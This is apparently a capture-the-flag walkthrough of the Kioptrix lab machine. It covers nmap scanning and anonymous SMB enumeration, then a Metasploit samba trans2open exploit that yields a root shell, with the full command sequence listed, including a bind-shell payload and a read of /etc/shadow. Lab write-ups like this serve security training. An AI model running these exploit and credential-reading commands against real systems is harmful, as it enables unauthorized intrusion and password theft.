A quick general nmap scan shows what hosts are on the network currently, before doing a more detailed scan on the target (192.168.0.111). By doing this, nmap shows what possible services (ports) the target has running and the version of the service and then attempts to identify the operating system (OS). The result of this are:
* OS: Linux v2.4.x (2.4.9-18)
* Samba: Samba smbd (wordgroup: MYGROUP)
The next stage was to test to make sure that samba was functioning correctly. By using smbclient, the attacker lists all services which are available on a target. The result being:
* Anonymous login
* Hostname (KIOPTRIX)
* Workgroup (MYGROUP)
* Defautl hidden admin shares (IPC$, ADMIN$)
The attacker proceeds begins by starting up metasploit and searching for a known exploit. After configuring all the settings required, the attacker launches it. Very soon afterwards the attacker has a remote shell, with "root" access to the system.
dhclient eth0
nmap 192.168.0.* -n -sn -sP
nmap 192.168.0.111 -T4 -O -sV -sS #-sC -A -p- -v
#nmblookup -A 192.168.0.111 # Hostname
smbclient -L \\192.168.0.111 -N # What services are available on a server
search samba
use linux/samba/trans2open
show options
set RHOST 192.168.0.111
show options
#msfcli linux/samba/trans2open RHOST=192.168.0.111 PAYLOAD=generic/shell_bind_tcp E #PAYLOAD=linux/x86/shell_bind_tcp
uname -a
cat /etc/shadow
cat /etc/issue
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